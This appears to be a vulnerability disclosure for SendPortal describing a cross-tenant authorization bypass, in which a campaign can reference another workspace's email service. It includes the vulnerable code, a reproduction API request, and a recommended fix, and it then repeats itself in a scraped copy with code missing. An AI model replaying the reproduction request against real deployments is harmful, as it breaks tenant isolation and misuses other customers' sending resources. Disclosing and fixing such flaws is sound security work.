Summary
A cross-tenant authorization bypass exists in campaign creation and dispatch workflows. The application validates only that the supplied email_service_id exists in the database and does not verify ownership of the referenced resource.
As a result, a user in Workspace B can create a campaign referencing an EmailService belonging to Workspace A. During campaign dispatch, the application resolves and operates on the foreign tenant's EmailService object without performing any workspace ownership validation.
This breaks tenant isolation and allows cross-workspace resource usage.
Vulnerability Details
Validation Layer
File:
vendor/mettle/sendportal-core/src/Http/Requests/CampaignStoreRequest.php
Vulnerable code:
'email_service_id' => [
'required',
'integer',
'exists:sendportal_email_services,id',
],
The validation rule checks only that the supplied ID exists anywhere in the database. No workspace scoping is applied.
Dispatch Layer
File:
vendor/mettle/sendportal-core/src/Services/Messages/ResolveEmailService.php
Relevant code:
$campaign = $this->campaignTenantRepository->find(
$message->workspace_id,
$message->source_id,
['email_service']
);
$emailService = $campaign->email_service;
The dispatch workflow resolves the referenced EmailService through the stored foreign key without validating that:
$emailService->workspace_id === $message->workspace_id
As a result, dispatch proceeds using a resource owned by another tenant.
Steps to Reproduce
Setup
Workspace A
Workspace B
- No email services configured
Step 1
Using a Workspace B API token, create a campaign referencing Workspace A's email service:
POST /api/v1/campaigns
Authorization: Bearer <workspace-b-token>
Content-Type: application/json
{
"name": "Bob Campaign",
"subject": "Hello",
"from_name": "Bob",
"from_email": "bob@example.com",
"email_service_id": 1,
"send_to_all": 1,
"content": "test"
}
Step 2
The request succeeds and the campaign is created:
{
"id": 2,
"workspace_id": 2,
"email_service_id": 1
}
Step 3
During dispatch, the application resolves the foreign tenant resource:
campaign_workspace_id = 2
email_service_id = 1
email_service_workspace_id = 1
The campaign belongs to Workspace B while the resolved EmailService belongs to Workspace A.
Impact
- Cross-tenant resource access
- Broken tenant isolation
- Authorization bypass through user-controlled identifier
- Campaign dispatch workflow resolves and operates on resources belonging to another workspace
Recommended Fix
Scope validation to the current workspace:
Rule::exists('sendportal_email_services', 'id')
->where('workspace_id', Sendportal::currentWorkspaceId())
Additionally, enforce ownership validation during dispatch:
if ((int) $emailService->workspace_id !== (int) $message->workspace_id) {
throw new Exception(
'Email service does not belong to campaign workspace.'
);
}
Disclosure
Found during security research. Happy to provide additional information, proof-of-concept material, or assist with validation if required.
Summary
A cross-tenant authorization bypass exists in campaign creation and dispatch workflows. The application validates only that the supplied
email_service_idexists in the database and does not verify ownership of the referenced resource.As a result, a user in Workspace B can create a campaign referencing an
EmailServicebelonging to Workspace A. During campaign dispatch, the application resolves and operates on the foreign tenant'sEmailServiceobject without performing any workspace ownership validation.This breaks tenant isolation and allows cross-workspace resource usage.
Vulnerability Details
Validation Layer
File:
vendor/mettle/sendportal-core/src/Http/Requests/CampaignStoreRequest.phpVulnerable code:
The validation rule checks only that the supplied ID exists anywhere in the database. No workspace scoping is applied.
Dispatch Layer
File:
vendor/mettle/sendportal-core/src/Services/Messages/ResolveEmailService.phpRelevant code:
The dispatch workflow resolves the referenced
EmailServicethrough the stored foreign key without validating that:As a result, dispatch proceeds using a resource owned by another tenant.
Steps to Reproduce
Setup
Workspace A
Email Service:
Workspace B
Step 1
Using a Workspace B API token, create a campaign referencing Workspace A's email service:
Step 2
The request succeeds and the campaign is created:
{ "id": 2, "workspace_id": 2, "email_service_id": 1 }Step 3
During dispatch, the application resolves the foreign tenant resource:
The campaign belongs to Workspace B while the resolved
EmailServicebelongs to Workspace A.Impact
Recommended Fix
Scope validation to the current workspace:
Additionally, enforce ownership validation during dispatch:
Disclosure
Found during security research. Happy to provide additional information, proof-of-concept material, or assist with validation if required.